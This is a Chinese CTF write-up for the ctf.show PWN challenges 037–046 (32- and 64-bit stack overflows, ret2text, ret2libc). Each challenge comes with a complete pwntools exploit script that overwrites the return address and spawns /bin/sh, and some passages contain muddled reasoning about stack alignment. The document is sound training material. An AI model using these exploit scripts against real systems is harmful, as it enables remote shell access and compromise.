可以看到下面的fgets读取和返回的printf(s)打印函数，输出flag字符串，主函数没有引用它啊，怎么办？我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag。（可以用ret2shellcode、ret2libc）

main函数的突破点在这：

没开canary保护，s数组可存储大小范围是36，超过了就覆盖返回地址了。

gets 读取函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。

安全性来看一般都会用fgets函数，搭配FORTIFY 缓冲区边界检查来提高程序自身安全性。

exp：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show', 28297)

elf = ELF('./pwn')
get_flag_addr = elf.sym['get_flag']

payload ='A' * 44 + p32(get_flag_addr)

io.sendline(payload) #远程发送
io.interactive()     #开启shell交互模式（类似终端）

这里的44个‘a’是0x28 + 4 ，0x28（十进制 40）是缓冲区到 ebp（栈基址寄存器）的距离，+4 是覆盖 ebp 本身（32 位程序中寄存器占 4 字节），总共 44 字节后，后续数据才能覆盖函数的 “返回地址”，从而跳转到 get_flag 函数。当然你可以用cyclic(0x28 + 4)，产生44字节的垃圾值。

PWN_037

题目：32位的 system(“/bin/sh”) 后门函数给你。

checksec发现是有无栈溢出保护的，关了canary。

IDA分析：

可以发现main函数没有什么可以利用的，但是在函数目录可以看到有个backdoor的函数有猫腻….

这个函数居然有/bin/sh！！！！！

跟进ctfshow函数：

有read读取函数，那我们可以以此为注入点，用垃圾值0x12+4先覆盖函数变量和寄存器ebp本身，然后再上传一个后门函数的地址。

exp：

1
2
3
4
5
6
7
8
9

from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28229)
elf = ELF('./pwn')
backdoor = elf.sym['backdoor'] #后门函数的地址
payload = cyclic(0x12 + 4) + p32(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

脚本exp万岁。

PWN_038

题目：64位的 system(“/bin/sh”) 后门函数给你。

checksec：

没开canary保护，开NX保护（不能ret2shellcode）

buf数组距离ebp寄存器为0xAh，加上本身寄存器ebp的8字节。

跟进backdoor函数看到/bin/sh，本题思路和上题PWN_037一样，只不过架构变成64位而已。

64 位程序调用 system 需考虑堆栈平衡，本质是 64 位 ABI 对 “栈对齐” 的硬性要求—— 若不满足，函数执行时访问栈内存会崩溃；而 32 位 ABI 无此要求，仅需调用后清理参数栈即可，因此无需额外关注平衡。

所以说exp需要考虑到堆栈平衡加上ret返回地址：

在实际解题中，ret 地址需要针对当前题目动态获取，常用方法：

工具查找：用 ROPgadget 工具直接搜索程序中的 ret 指令（最常用）：

1

ROPgadget --binary ./pwn | grep ret

exp：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28147)
elf = ELF('./pwn')
backdoor = elf.sym['backdoor']
ret = 0x400287 # 0x0000000000400287 : ret
payload = cyclic(0xA+8) + p64(ret) + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

PWN_039

题目：32位的 system(); “/bin/sh”。

checksec一下：

可以看到没开启canary、PIE保护的，存在可利用栈溢出漏洞的可能。

IDA：

跟进ctfshow函数发现栈溢出：

可以读取50个字符给buf，但buf容量只有14，所以超过14就会造成栈溢出。

接着在函数目录看到hint函数有猫腻：

那么大致的exp思路就来了：也就是先cyclic函数生成垃圾值覆盖局部变量和ebp寄存器本身；但是只有system函数和/bin/sh，却没有system(“/bin/sh”);的后门，所以我们只能构造出来。

在编写exp时，因为程序是32位，所以说不用去考虑它的堆栈平衡：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28216)
elf = ELF('./pwn')
system = elf.sym['system']
bin_sh = 0x8048750
payload = 'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

这里的p32(0)等于4字节，可以用四个a或者cyclic(4)代替也行，这时32位下system函数的返回地址占位符，然后就到执行/bin/sh，那就是跳转到它的地址：

这样子我们就构造出system("/bin/sh");了，然后进入交互模式获得flag。

这题主要考察我们对于函数的构造以及函数地址的拼接、栈的结构组成。需要多看看我的PWN-2啊。。。。

PWN_040

题目：64位的 system(); “/bin/sh”。

IDA64位分析，跟进ctfshow函数：

checksec看到未打开canary保护，而且在ctfshow函数这发现有栈溢出。

跟进hint函数，发现后门。

用ROPgadget命令查询ret地址：

1

ROPgadget --binary ./pwn | grep ret

查询/bin/sh的地址：

exp：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28194)
elf = ELF('./pwn')
system = elf.sym['system']
bin_sh = 0x400808
pop_rdi = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ret = 0x4004fe # 0x00000000004004fe : ret
payload = 'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.sendline(payload)
io.recv()
io.interactive()

欸为什么exp的payload中的参数不太一样？

32位和64位可执行程序的参数传递顺序

即使思路一样但架构不一样，在写payload的时候注入地址的顺序也是不一样的：

• 32 位程序（PWN039）：32 位程序中，函数参数通过栈传递。在 PWN039 里，system函数地址紧跟在填充数据之后，这是因为溢出后直接覆盖返回地址为system函数地址，让程序执行system函数。在payload = 'a'*(0x12 + 4) + p32(system) + p32(0) + p32(bin_sh)中，'a'*(0x12 + 4)用于填充缓冲区并覆盖原返回地址，p32(system)将返回地址修改为system函数地址 ，p32(0)是为了满足栈结构，作为system函数执行后的返回地址（实际执行中并不重要，可随意填充 4 字节），p32(bin_sh)则是system函数的参数，即/bin/sh字符串的地址。这样的顺序符合 32 位程序通过栈传参和控制程序执行流的特点。
• 64 位程序（PWN40）：64 位程序的函数调用规则有所不同，前 6 个参数优先通过寄存器传递，其中第一个参数存放在rdi寄存器。在 PWN40 中，payload = 'a'*(0xA + 8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system) ，'a'*(0xA + 8)用于填充缓冲区和覆盖原返回地址；p64(pop_rdi)将pop_rdi指令地址放入栈中，执行pop_rdi指令时，会把紧跟其后的p64(bin_sh)中的/bin/sh地址弹出到rdi寄存器，作为system函数的第一个参数；p64(ret)用于栈对齐（64 位程序调用函数前需要保证栈 16 字节对齐，ret指令可调整栈指针）；最后p64(system)将system函数地址放入栈中，当程序执行到这里时，会跳转到system函数执行，此时rdi寄存器中已正确设置了参数/bin/sh的地址。

PWN_041

题目：

32位的 system(); 但是没"/bin/sh" ，好像有其他的可以替代。

checksec一下，然后IDA分析

不能用ret2shellcode了。

这里和上题差不多，找一下/bin/sh：

找不到，但找到sh：

/bin/sh和sh的核心区别

关键场景：能否替代取决于「调用函数的要求」

PWN 中最常用的是通过 execve、system 函数执行 Shell（如构造 execve("/bin/sh", NULL, NULL) 获得交互权限），此外也可能涉及 system 函数，两者对参数的要求不同：

场景 1：execve 函数（必须用绝对路径，sh 不可替代 /bin/sh）

execve 是 Linux 系统调用，作用是加载并执行新程序，其第一个参数必须是程序的绝对路径（或相对路径，但绝对路径是 PWN 中的常规选择），否则会报错「No such file or directory」。

• 正确用法：execve("/bin/sh", ...)（系统直接定位到 /bin/sh，执行成功）。
• 错误用法：execve("sh", ...)（系统不知道 sh 在哪里，会遍历 $PATH 查找，但 execve 不支持通过 $PATH 解析命令名，直接失败）。

因此，在构造 execve 调用时，只能用 /bin/sh，不能用 sh。

场景 2：system 函数（sh 和 /bin/sh 效果一致，可替代）

system 函数的底层逻辑是「调用 /bin/sh -c 来执行参数中的命令」，其参数支持「命令名」或「绝对路径」：

• 若传 system("sh")：system 会自动通过 $PATH 找到 sh（即 /bin/sh），等价于执行 /bin/sh -c sh，最终启动 Shell。
• 若传 system("/bin/sh")：等价于执行 /bin/sh -c /bin/sh，同样启动 Shell。

因此，在使用 system 函数时，sh 和 /bin/sh 效果完全一致，可以互相替代。

特殊情况：环境变量 $PATH 被篡改（sh 可能失效，/bin/sh 更可靠）

虽然多数情况下 $PATH 包含 /bin，但如果目标程序运行时篡改了 $PATH（如删除 /bin 目录），此时：

• 用 sh 会因 $PATH 中找不到 sh 而失败；
• 用 /bin/sh 因是绝对路径，不受 $PATH 影响，依然能成功执行。

PWN 利用中为了「兼容性和稳定性」，即使是 system 函数，也更推荐写 /bin/sh 而非 sh（避免因环境变量异常导致利用失败）。

这里跟进hint函数：

发现这有现成的system函数，也就是说可以调用sh去进行提权。

知道了sh地址是0x80487BA，就可以写exp了：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

from pwn import *
context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28261)
elf = ELF('./pwn')
system = elf.sym['system']

sh = 0x80487BA

payload =cyclic(0x12+4) + p32(system) + p32(0) + p32(sh)
io.sendline(payload)
io.recv()
io.interactive()

PWN_042

题目：64位的 system(); 但是没"/bin/sh" ，好像有其他的可以替代。

来看IDA64位分析：

checksec：

在跟进hint函数也是如此，和PWN_041一样的，这次程序是64位，在exp编写上有所不同，需要pop_rdi：ret、ret的地址：

ret：0x40053e

pop_rdi：0x400843

再找sh的地址吧：

exp：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

from pwn import *
context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28281)
elf = ELF('./pwn')
system = elf.sym['system']

sh = 0x400872
ret = 0x40053e
pop_rdi = 0x400843
payload =cyclic(0xA+8) + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
io.sendline(payload)
io.recv()
io.interactive()

flag就不给了，因为靶机给的flag是动态的。

PWN_043

题目：32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了，想想办法。

IDA32位跟进ctfshow函数：

gets函数很危险的，一般都用fgets，用这个必溢出的好吧……

跟进hint函数：

我们发现了system函数，但却不提供sh、/bin/sh给我们，只能利用gets函数。（gets函数进行读入数据，它可以无限读取到内存，不会判断上限，可以包含空格，以回车结束读取。所以这里就存在了明显的溢出）

那大致的exp思路来了；先用cyclic产生垃圾值填充缓冲区和ebp本身，出现栈溢出后，将返回值覆盖为gets函数地址，加上ebx寄存器弹栈，gets函数读取数据，把我们所给的/bin/sh字符串写入这个内存里面，再次利用栈溢出，将返回地址覆盖为 system 函数的地址，使得 gets 执行完后，程序自动跳转到 system 执行，执行 system("/bin/sh") 获取 shell。

这个内存去哪找？

在bss字段（未初始化字段）找到了buf2变量：

查询pop_ebx的地址

exp：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

from pwn import *
context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28152)
elf = ELF('./pwn')
system = elf.sym['system']

gets = elf.sym['gets']
pop_ebx = 0x8048409
buf2 = elf.sym['buf2']
payload =cyclic(0x6C+4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system) + p32(0) + p32(buf2)

io.sendline(payload)

io.sendline("/bin/sh")
io.recv()
io.interactive()

这里有个疑问点就是为什么要用buf2内存变量呢？我直接调用system函数后再注入/bin/sh不就好了吗？这显然不行，因为此时的/bin/sh是一个普通的字符串，并没有分配地址，可执行程序的PIE和ASLR保护机制会让布局发生随机化改变，你给的字符串没地址，而system函数需要接受地址才能执行，而非直接注入无地址的纯字符串，buf2是bss字段的全局变量，地址固定，能给/bin/sh一个固定地址，让system精准找到它并执行。

PWN_044

题目：64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了，想想办法。

IDA分析：

和上一题区别是参数传递，64位的前6参数是靠寄存器rdi传递的。查询pop rdi；ret汇编命令的地址：

pop rdi ; ret：0x4007f3

ret：0x4004fe

那exp大致不变，主要是payload吧：

1
2
3
4
5
6
7

...

payload = cyclic(0xA+8) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(ret) + p64(system)



...

可以发现这是错误的，进入不了交互，错就错在ret，这里不需要进行手动调栈堆平衡：

gets 执行完后的总偏移是 44 字节（36+8）。

后续执行 pop_rdi（8 字节）+ buf2 地址（8 字节）后，总偏移变为 44+8+8=60 字节。

60 字节 ÷ 16 字节 = 3 余 12？不对 —— 此时调用 system 前，rsp 指向 system 函数的地址，而 60 + 8（system 地址本身）= 68 字节，68 ÷ 16 = 4 余 4？这显然不对。

正确理解：不用纠结静态数字，而是要看到 gets 的执行引入了一次 “额外的栈弹出”（8 字节），恰好抵消了部分偏移的 “非对齐量”，使得最终调用 system 时，rsp 刚好落在 16 字节对齐的地址上 —— 这是动态执行中栈自然调整的结果，而非静态计算的总和。

在 64 位 PWN 题中，“动态对齐” 是否需要加 ret，核心看 “中间是否有函数执行并自动调整栈指针”。

正确的exp：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

from pwn import *
context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28244)
elf = ELF('./pwn')
system = elf.sym['system']

gets = elf.sym['gets']
pop_rdi = 0x4007f3
buf2 = elf.sym['buf2']

payload = cyclic(0xA+8) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)  

io.sendline(payload)
io.sendline("/bin/sh")
io.recv()
io.interactive()

PWN_045

题目：32位 无 system 无 “/bin/sh”。

checksec一下：

32位关闭栈保护关闭PIE。

IDA分析main：

跟进ctfshow函数：

还是明显的溢出漏洞了，只是其中的偏移变了，大差不差，现在我们关心的是如何去找到我们所需要的东西呢？现在既没有system，也没有“/bin/sh”

思路：地址随机化+NX保护禁用ret2shellcode，那就是暗示我用ret2libc咯，用LibcSearcher获取当前libc版本，利用write泄露出write本身函数地址，再获取程序中因开启NX保护时地址随机化的write虚拟地址，两个地址相减得到地址偏移量，接着就能反推出system、/bin/sh的真实地址了。在此之前要记得先填充好变量的缓冲区。

上半部分exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28307)
elf = ELF('./pwn')
main = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write']
payload = cyclic(0x6b+4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.recvuntil('O.o?')  #等程序发送这字符串再发送第一份payload
io.sendline(payload)

这时候已经把write函数地址泄露出来了，不过看到这里比较懵逼哈，payload为什么要上传这么多，直接调用write函数不行了吗？还要got、plt啥的（堆plt、got不熟悉的可以看回PWN-1中plt和got表的讲解）。让我给你细分一下：先调用write_plt，这指write函数的执行入口，告诉write我要使用你了，调用write后，会从栈上读取这个地址作为下一条指令的位置。这里指定 main 函数，是为了让程序在泄露地址后回到主函数，继续接收我们的第二次payload（用于后续调用 system 获取 shell），避免程序直接退出。第一次payload是获得write地址，第二次payload是执行system函数。

接着到p32(1) + p32(write_got) + p32(4)：write 函数的三个参数：

32 位程序中参数通过栈从右往左传递，因此栈上顺序为：fd → buf → n，也就是 write(1, write_got, 4)

来下半部分exp:

1
2
3
4
5
6
7
8
9

libc = LibcSearcher('write',write) #用LibcSearcher查询write对应的libc当前版本

libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

write = u32(io.recvuntil(’\xf7’)[-4:])这一段比较长，做过之前题目对此有点印象，不应该是write = u32(io.recv(4))？

核心原因是程序输出中存在干扰信息，导致无法直接读取到纯净的 4 字节地址，你执行一下程序就知道了，会有“O.o?”冒出来，这是干扰。

io.recv(4) 是有局限性的，io.recv(4) 的作用是从程序输出中读取固定的 4 字节数据，但它有一个严格前提：程序必须只输出我们需要的 4 字节地址，没有任何多余内容（如提示文本、换行符、其他数据等）。此时recv直接读取4个字节，那就会读到O.o?的字节导致错误。

recvuntil('\xf7')[-4:]：适用于程序输出存在干扰信息，且地址以 \xf7 开头（32 位 libc 典型特征）的场景，通过特征定位 + 截取来提取正确地址。

1

write = u64(io.recvuntil(b'\x7f')[-8:])

PWN_046

题目：64位 无 system 无 “/bin/sh”。

checksec一下：

64位关闭栈保护关闭PIE。

IDA64分析：

确实是64位 无 system 无 “/bin/sh”，全得自己构造。

大致思路就是泄露write真实地址，得出libc基址和对应libc版本，再反推出一些所需的函数的真实地址。

在此之前需要一些寄存器帮助传参，就得需要用到ROPgadget指令查询：

1
2

ROPgadget --binary pwn --only 'ret|pop' | grep 'rdi'
ROPgadget --binary pwn --only 'ret|pop' | grep 'rsi'

0x0000000000400803 : pop rdi ; ret

0x0000000000400801 : pop rsi ; pop r15 ; ret

但是这里的带rsi的gadget不是单独的，还带有r15，不过在这里r15寄存器用不上，我们到时得用0去覆盖它。

payload1：

1
2
3
4
5
6
7
8

elf = ELF("./pwn")
main = elf.sym['main']
write_got = elf.got['write'] 
write_plt = elf.plt['write']
pop_rdi_ret = 0x400803      #0x0000000000400803 : pop rdi ; ret
pop_rsi_r15_ret = 0x400801  #0x0000000000400801 : pop rsi ; pop r15 ; ret
payload = cyclic(0x70+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main)
io.sendlineafter(b"O.o?",payload)

write函数有两个参数，第一个由寄存器rdi控制、第二个由rsi控制，rdi存储1，rsi存储write_got因为多出一个r15寄存器所以统一存储无用值0消除它带给程序的影响，接着再覆盖上write@plt地址，调用write函数，去泄露write的真实地址。

接收write函数真实地址：

1

write = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

payload2：

1
2
3
4
5
6

write = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('write',write)
libc_base = write- libc.dump('write')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x70+8) + p64(pop_rdi_ret) + p64(binsh) + p64(system)

到了payload2，用LibcSearcher模块去搜索得到write函数对应的libc版本，从而得出基址，最后反推出system函数的真实地址和/bin/sh字符串的真实地址，从而构造出后门函数来getshell。

最终的exp：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', os = 'linux', arch = 'i386')
io = remote('pwn.challenge.ctf.show',28273)
elf = ELF("./pwn")
main = elf.sym['main']
write_got = elf.got['write'] 
write_plt = elf.plt['write']
pop_rdi_ret = 0x400803      #0x0000000000400803 : pop rdi ; ret
pop_rsi_r15_ret = 0x400801  #0x0000000000400801 : pop rsi ; pop r15 ; ret
payload = cyclic(0x70+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main)
io.sendlineafter(b"O.o?",payload)
write = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('write',write)
libc_base = write- libc.dump('write')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x70+8) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendlineafter(b"O.o?",payload)
io.interactive()